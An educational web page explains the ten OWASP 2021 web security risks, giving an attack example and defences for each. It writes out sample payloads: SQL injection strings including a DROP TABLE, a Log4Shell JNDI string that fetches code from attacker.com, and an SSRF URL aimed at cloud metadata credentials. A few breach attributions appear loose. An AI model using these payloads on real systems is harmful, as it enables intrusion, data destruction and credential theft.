IT · Security · Tech Commentary
OWASP Top 10
← Learn
The ten most critical web application security risks — what they are, how attackers exploit them, and how to stop them.
2021 Edition · Click any entry to expand
1
A01:2021
Broken Access Control

Access control enforces that users can only act within their intended permissions. Broken access control means those restrictions aren't properly enforced — users can access other users' data, perform privileged actions, or reach resources they shouldn't. It moved to the #1 spot in 2021, found in 94% of tested applications. It covers everything from IDOR to missing function-level access control to CORS misconfiguration.

Attack Example
An API endpoint returns user data at /api/users/1234/account. The application checks that the user is authenticated but doesn't verify they're requesting their own account. By simply changing 1234 to 1235, an attacker reads another user's account details. This is Insecure Direct Object Reference (IDOR) — one of the most common real-world vulnerabilities. Seen in countless data breach incidents involving health records, financial accounts, and personal data.
Prevention
Deny by default — all access requires explicit permission grants, not just authentication.
Enforce access control server-side. Never trust client-supplied IDs or roles. Validate that the authenticated user owns the resource being requested.
Disable directory listing on web servers. Ensure metadata files (.git, .env) aren't publicly accessible.
Log access control failures. Alert on repeated failures — they indicate probing.
Invalidate session tokens on logout. Stateful session IDs should be invalidated server-side, not just cleared client-side.
2
A02:2021
Cryptographic Failures

Formerly called "Sensitive Data Exposure," this category was renamed to focus on the root cause: failing to protect data with proper cryptography — or failing to use cryptography at all. This includes transmitting sensitive data in cleartext, using weak or outdated algorithms, improper key management, and not enforcing encryption in transit.

Attack Example
A site stores passwords using MD5 without salt. When the database is breached, attackers run the hashes through rainbow tables or precomputed lookup databases and recover most passwords within minutes. MD5 and SHA-1 are not password hashing algorithms — they're fast general-purpose hashes. An attacker can test billions of MD5 hashes per second on commodity hardware. The same applies to data at rest encrypted with weak keys, or session tokens transmitted over HTTP.
Prevention
Use modern password hashing: bcrypt, Argon2id, or scrypt with appropriate work factors. Never MD5 or SHA-1 for passwords.
Enforce HTTPS everywhere. Redirect HTTP to HTTPS. Set Strict-Transport-Security headers (HSTS).
Encrypt sensitive data at rest using AES-256. Manage keys separately from the data they protect.
Disable TLS 1.0 and 1.1. Use TLS 1.2 minimum, TLS 1.3 preferred. Disable weak cipher suites.
Don't cache sensitive responses. Set Cache-Control: no-store on pages containing sensitive data.
3
A03:2021
Injection

Injection flaws occur when an application sends untrusted data to an interpreter as part of a command or query. The interpreter treats the attacker-supplied data as commands. SQL injection is the classic example, but injection covers NoSQL injection, OS command injection, LDAP injection, template injection, and more. Injection held the #1 spot for over a decade before being displaced by broken access control in 2021.

Attack Example
A login form builds a query: SELECT * FROM users WHERE username='[input]' AND password='[input]'. An attacker enters username ' OR '1'='1. The query becomes: SELECT * FROM users WHERE username='' OR '1'='1' AND password='' — which returns all users, logging the attacker in as the first user (often an admin). More destructively: '; DROP TABLE users; -- destroys the entire table. In 2021 alone, SQL injection was responsible for major breaches across finance, healthcare, and government targets.
Prevention
Use parameterised queries / prepared statements — the single most effective defence. The query structure is defined before user input is added, so input can never be interpreted as SQL.
Use an ORM (Object-Relational Mapper) that handles parameterisation automatically — but be cautious of raw query escape hatches within ORMs.
Validate and sanitise all input server-side. Allowlist acceptable values where possible rather than blocklisting dangerous characters.
Apply least privilege to database accounts. Your app's DB user shouldn't have DROP TABLE or admin permissions.
Use a WAF to detect and block common injection patterns as a defence-in-depth layer — not as a primary control.
4
A04:2021
Insecure Design

A new category in 2021, insecure design focuses on flaws that exist by design — architectural decisions that create risk regardless of implementation quality. It's distinct from insecure implementation (where good design is poorly coded). Security must be considered in the design phase, not bolted on afterwards. No amount of secure coding fixes a fundamentally flawed design.

Attack Example
A cinema booking system allows users to hold seats without paying. An attacker writes a script that holds all seats in every showing indefinitely, effectively blocking legitimate customers from booking — a business logic denial-of-service. The system was never designed with a limit on holds per account or a mechanism to prevent automated abuse. No SQL injection involved, no missing auth — the design itself is the vulnerability.
Prevention
Adopt a Secure Development Lifecycle (SDLC). Security requirements and threat modelling should happen before any code is written.
Use threat modelling (STRIDE, PASTA) to identify attack scenarios during design. Ask: what is the worst an attacker could do with this feature?
Design business logic controls — rate limiting, hold limits, per-account caps — as first-class requirements, not afterthoughts.
Integrate security into user story acceptance criteria. "A user should not be able to perform X without Y" is a security requirement.
Write unit and integration tests that verify security constraints — not just happy paths.
5
A05:2021
Security Misconfiguration

The most commonly seen issue in practice. Security misconfiguration includes default credentials left unchanged, unnecessary features enabled, overly permissive cloud storage, verbose error messages leaking stack traces, missing security headers, and unpatched systems. As infrastructure has moved to cloud and containers, the misconfiguration attack surface has expanded massively.

Attack Example
A developer spins up an S3 bucket and leaves it set to public read. The bucket contains backups of the application database including customer PII, credentials, and API keys. The bucket doesn't appear in any search engine, but an attacker running automated S3 enumeration tools finds it within hours. No exploit required — just a misconfigured permission. This exact scenario has caused some of the largest data breaches of the past decade (Capital One, GoDaddy, dozens of others).
Prevention
Implement a hardening process: minimal installs, disable unused features, ports, and services. Follow CIS Benchmarks for your platform.
Change all default credentials immediately. Default admin passwords are publicly documented by vendors.
Set security headers: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Referrer-Policy.
Never expose stack traces or detailed error messages to end users in production. Log them server-side; show generic errors to users.
Automate configuration auditing with tools like ScoutSuite (cloud), Lynis (Linux), or cloud provider native security assessment tools.
6
A06:2021
Vulnerable & Outdated Components

Modern applications are mostly composed of third-party libraries, frameworks, and components. If any of those components have known vulnerabilities and aren't updated, the application inherits those vulnerabilities — regardless of how well the application code itself is written. The Log4Shell vulnerability (CVE-2021-44228) is the defining example: a single library used by thousands of products led to critical remote code execution exposure across the internet.

Attack Example
Log4Shell (December 2021): A critical zero-day in Apache Log4j 2, a widely used Java logging library. An attacker sends a crafted string like ${jndi:ldap://attacker.com/exploit} in any user-supplied field (HTTP header, form field, username). Log4j processes the string, makes an outbound LDAP request, and fetches and executes attacker-controlled Java code — resulting in remote code execution. Affected products included VMware, Cisco, Apple iCloud, Amazon, Microsoft Azure. Patching took weeks across the industry.
Prevention
Maintain a Software Bill of Materials (SBOM) — a complete inventory of every library and component, including transitive dependencies.
Subscribe to vulnerability feeds (NVD, vendor advisories). Use tools like npm audit, pip-audit, Dependabot, or Snyk to get automated alerts.
Remove unused dependencies. The fewer components you have, the smaller your attack surface.
Only use components from official sources. Verify package integrity where possible (checksums, signed packages).
Have a patch management policy that defines maximum time-to-patch for critical vulnerabilities.
7
A07:2021
Identification & Authentication Failures

Formerly "Broken Authentication," this category covers weaknesses in confirming who a user is. Weak passwords, credential stuffing vulnerabilities, missing MFA, broken session management, and improper session invalidation all fall here. Authentication is the gate — everything else depends on it working correctly.

Attack Example
A site allows unlimited login attempts without rate limiting or lockout. An attacker obtains a database of 500 million username/password pairs from previous breaches and runs a credential stuffing attack — trying each pair against the target site. Because many users reuse passwords, 0.5–2% of attempts typically succeed. At scale, this yields thousands of account takeovers with no vulnerability in the target app's code. This technique was behind the 2022 Uber breach and countless others.
Prevention
Enforce multi-factor authentication (MFA) — especially for admin accounts and sensitive operations. TOTP apps are significantly stronger than SMS.
Implement rate limiting and progressive delays on login attempts. Lock accounts after N failures or require CAPTCHA.
Check passwords against known-breached lists at registration and password change (Have I Been Pwned API).
Set minimum password length (12+ characters) rather than arbitrary complexity rules. Length beats complexity.
Invalidate sessions properly on logout. Generate new session tokens after successful login (prevents session fixation).
8
A08:2021
Software & Data Integrity Failures

A new 2021 category covering failures to protect against integrity violations in software updates, critical data, and CI/CD pipelines. This includes insecure deserialisation (the original A08 in 2017), using software from untrusted sources without integrity verification, and supply chain attacks where the build or update pipeline itself is compromised — as in the SolarWinds attack.

Attack Example
The SolarWinds Orion supply chain attack (2020): Attackers compromised SolarWinds' build system and inserted malicious code (SUNBURST) into the legitimate Orion software update. The update was cryptographically signed by SolarWinds — so it passed integrity checks. ~18,000 organisations installed it, including US Treasury, CISA, and multiple Fortune 500 companies. The malware lay dormant for two weeks then opened backdoors. Defenders had no way to detect it through conventional vulnerability scanning.
Prevention
Use digital signatures to verify software and dependencies. Verify signatures before installation, not just checksums.
Secure your CI/CD pipeline — it's a high-value target. Use least-privilege service accounts, audit build logs, and enforce code review before merge.
Avoid deserialising data from untrusted sources without strict type validation. Prefer data formats like JSON with schema validation over binary serialisation formats.
Implement a Software Bill of Materials (SBOM) and monitor it against known-malicious package alerts.
Pin dependency versions. Use lock files. Don't auto-update to latest without review.
9
A09:2021
Security Logging & Monitoring Failures

Without adequate logging and monitoring, breaches go undetected. The average time to detect a breach is still measured in months — often the attacker has full access long before anyone notices. This category covers insufficient logging of security events, failure to monitor logs, not alerting on anomalies, and log data that is too vague to be actionable in an investigation.

Attack Example
An attacker conducts a slow credential stuffing attack against a banking application — 100 attempts per hour spread across 50 IP addresses over two weeks, rather than thousands of attempts at once. The application logs failed logins but the security team only has an alert for more than 10 failures from a single IP in a 5-minute window. The distributed, slow attack pattern never triggers the alert. 3,000 accounts are compromised before a customer complaint triggers a manual investigation.
Prevention
Log all authentication events (success and failure), access control failures, input validation failures, and high-value transactions — with timestamps, user identity, and source IP.
Forward logs to a centralised SIEM that's separate from the application. Attackers who compromise the app shouldn't be able to tamper with logs.
Define alerts for anomalous behaviour — failed logins across multiple accounts, unusual data access volumes, repeated access control failures.
Establish an incident response plan before you need it. Define who gets paged, what the escalation path is, and what constitutes a breach.
Test your detection capability regularly. Run tabletop exercises and confirm your alerts actually fire.
10
A10:2021
Server-Side Request Forgery

Server-Side Request Forgery (SSRF) is a new entry in 2021, added directly from community survey data due to increasing severity. It occurs when an application fetches a remote resource based on user-supplied input without properly validating the URL. An attacker can force the server to make requests to internal services, cloud metadata endpoints, or other sensitive infrastructure — effectively using the server as a proxy to access things the attacker can't reach directly.

Attack Example
A web application accepts a URL parameter to fetch and display preview images: /preview?url=https://example.com/image.jpg. An attacker replaces the URL with http://169.254.169.254/latest/meta-data/iam/security-credentials/ — the AWS instance metadata endpoint. The server fetches it and returns the IAM role credentials in the response. The attacker now has AWS access keys with whatever permissions the server's IAM role has. This exact attack has been used in real breaches including the 2019 Capital One breach (100 million records).
Prevention
Validate and sanitise all user-supplied URLs. Use an allowlist of permitted domains/IPs rather than a blocklist of forbidden ones.
Disable HTTP redirects in server-side fetch libraries, or validate the destination after each redirect.
Block requests to private IP ranges (10.x, 172.16.x, 192.168.x), loopback (127.x), and cloud metadata endpoints (169.254.169.254) at the network level and in application logic.
In cloud environments, use IMDSv2 (Instance Metadata Service v2) which requires a session token — prevents simple SSRF against the metadata endpoint.
Don't return raw server responses to clients. If you must fetch external content, return a processed/sanitised version.
What is OWASP?

The Open Worldwide Application Security Project — a non-profit foundation that produces freely available security research, tools, and standards. The Top 10 is updated roughly every 3–4 years and is considered the baseline standard for web application security. It's referenced in PCI DSS, referenced in hiring requirements, and used as the foundation for DAST and SAST tool rule sets.

What This List Is Not

The Top 10 is not a comprehensive vulnerability list — it's a risk awareness document focused on the most broadly prevalent issues. It doesn't replace a full threat model or cover every vulnerability class. XSS, CSRF, and open redirect aren't standalone entries in 2021 (they fall under other categories). Use the Top 10 as a starting point, not a complete checklist.

For Developers

The Top 10 maps directly to the OWASP Application Security Verification Standard (ASVS) which provides testable security requirements at three levels. For each entry here, there are corresponding ASVS controls that give you specific, implementable requirements rather than general guidance. ASVS Level 1 is a reasonable baseline for most web applications.

For Certifications

The OWASP Top 10 is directly tested in CompTIA Security+, CySA+, CASP+, CEH, and OSCP. For Security+ specifically, you'll need to know what each entry is, a real-world example, and the primary mitigation. The 2021 edition is now the current exam standard — make sure you know the new entries (A04 Insecure Design, A08 Software Integrity, A10 SSRF).